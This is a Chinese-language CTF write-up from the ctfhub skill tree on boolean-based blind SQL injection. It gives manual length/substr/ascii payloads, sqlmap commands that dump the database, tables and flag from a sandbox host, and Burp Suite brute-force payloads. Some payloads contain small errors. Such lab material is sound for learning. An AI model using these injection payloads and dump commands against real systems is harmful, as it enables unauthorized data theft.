2025.1.15——四、布尔注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得到本题为布尔注入

方法一:手工盲注(不推荐)

[step 1:判断具体形式](#step 1:判断具体形式)

[step 2:查询字段数](#step 2:查询字段数)

[step 3:通过回显判断数据库名的长度和每个字符](#step 3:通过回显判断数据库名的长度和每个字符)

1.判断长度

2.判断每个字符

[step 4:判断有几个表以及各个表名的长度和每个字符](#step 4:判断有几个表以及各个表名的长度和每个字符)

1.判断表的数量

​编辑

​编辑

2.判断长度

3.判断字符

​编辑

[step 5:判断列数以及各个列的长度和字符](#step 5:判断列数以及各个列的长度和字符)

1.判断列数

2.判断长度

3.判断字符

方法二:sqlmap爆数据库、表名、列名

[step 1:爆数据库名](#step 1:爆数据库名)

​编辑​编辑

[step 2:爆表](#step 2:爆表)

[step 3:爆列](#step 3:爆列)

方法三:burpsuit抓包,爆数据库、表名、列名

[step 1:判断数据库名的长度以及符号](#step 1:判断数据库名的长度以及符号)

1.判断长度

2.判断字符

​编辑

[step 2:判断表的数量以及长度、字符](#step 2:判断表的数量以及长度、字符)

[step 3:判断列数以及长度、字符](#step 3:判断列数以及长度、字符)

[step 4:爆破数据](#step 4:爆破数据)

1.爆破长度

2.爆破具体数据

方法四:脚本爆数据库、表名、列名


一、基本操作:整理已知信息,得到本题为布尔注入

有三个方法,手工盲注必须了解,但是很麻烦,得一个个尝试对错,所以利用工具更方便,例如:sqlmap、bp爆信息、脚本循环遍历

方法一:手工盲注(不推荐)

step 1:判断具体形式

键入:1 #

键入:1 and 1=2 #

键入:1' #

所以可以得到本题也为整数型注入

step 2:查询字段数

键入:1 order by 3 #

键入:1 order by 2 #

寻常方法,如:1 and 1=2 union select database(),database() #没有用,毕竟只会回显1或0

step 3:通过回显判断数据库名的长度和每个字符

length(str)函数:用于获取字符串长度的函数

substr()函数:用于从字符串中提取子字符串

1.判断长度

sql 复制代码
1 and length(database())=1 #
sql 复制代码
1 and length(database())=4 #

所以数据库名长度为4

2.判断每个字符

sql 复制代码
1 and substr(database(),1,1)='a' #
sql 复制代码
1 and substr(database(),1,1)='s' #
sql 复制代码
1 and substr(database(),2,1)='q' #
sql 复制代码
1 and substr(database(),3,1)='l' #
sql 复制代码
1 and substr(database(),4,1)='i' #

得到数据库名为sqli(按照前几题的经验),如果是陌生的题,建议用sqlmap或者burpsuit爆破

step 4:判断有几个表以及各个表名的长度和每个字符

1.判断表的数量

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #

2.判断长度

第一个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=4 #

第二个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #

step 5:判断列数以及各个列的长度和字符

1.判断列数

sql 复制代码
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1 #

2.判断长度

sql 复制代码
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i'

方法二:sqlmap爆数据库、表名、列名

step 1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 --current-db

得到数据库名为sqli

step 2:爆表

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

得到一共两个表,分别为flag和news

step 3:爆列

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

得到只有一列

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

得到flag

方法三:burpsuit抓包,爆数据库、表名、列名

这里要用到ASCII表

step 1:判断数据库名的长度以及符号

1.判断长度

在框内输入

sql 复制代码
1 and length(database())=1#

然后进行抓包、爆破

得到数据库名字符串的长度为4

2.判断字符

sql 复制代码
1 and ascii(substr(database(),1,1))=100#

第一个字符为s

后面字符修改为

sql 复制代码
1 and ascii(substr(database(),2,1))=100#

依次可以得到

第二个字符为q

第三个字符为l

第四个字符为i

所以数据库名为sqli

step 2:判断表的数量以及长度、字符

1.判断表数详见方法一

2.判断长度同样输入payload再抓包

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #

注:x为爆破点

3.判断字符同上

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

注:100则为爆破点

得到表名为news、flag

step 3:判断列数以及长度、字符

1.判断列数

payload:1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#

2.判断长度同样输入payload再抓包

payload:1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x #

注:x为爆破点

3.判断字符

payload:1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = x #

注:x为爆破点;ordinal bu_position:按照列的顺序位置排序

step 4:爆破数据

1.爆破长度

payload:1 and (select length(flag) from sqli.flag limit 1) = 10 #

注:10为爆破点

2.爆破具体数据

payload:1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

注:99为爆破点

一个一个爆破太久了,所以还是sqlmap好用

方法四:脚本爆数据库、表名、列名

引用脚本:CTFhub的布尔盲注_ctfhub布尔盲注-CSDN博客

python还不会用,先放这

相关推荐
其实防守也摸鱼2 分钟前
GitHub开源项目破圈方法论:从技术自嗨到生态共赢
服务器·数据库·学习·开源·github·命令行·linux系统
羑悻的小杀马特14 分钟前
AI判不了设备异常?缺的不是算法,是这层数据底座
数据库·人工智能·ai
网安墨雨15 分钟前
MySQL数据库 SQL语句详解
自动化测试·软件测试·数据库·python·sql·mysql
JERRY. LIU19 分钟前
VS CODE进行NRF CONNECT项目开发出现变量无法链接跳转问题及解决方法
数据库·嵌入式硬件·物联网·iot·嵌入式实时数据库
开朗小哥22 分钟前
Agent claudecode学习记录
学习
LONGZHIQIN34 分钟前
TIA Portal Openness学习笔记
笔记·学习
网络工程小王35 分钟前
【HCIE-AI】12.deepspeed分布式并行训练进阶版
人工智能·pytorch·分布式·学习·昇腾·deepspeed
無a伟1 小时前
redis采用的单线程模型,为什么这么快?
数据库·redis·缓存
小+不通文墨1 小时前
--no-multibyte-chars 解决OLED_data.c移植后中文乱码问题
c语言·经验分享·笔记·学习
知识分享小能手1 小时前
统计学学习教程,从入门到精通,一元线性回归 —— 知识点详解(17)
学习·算法·线性回归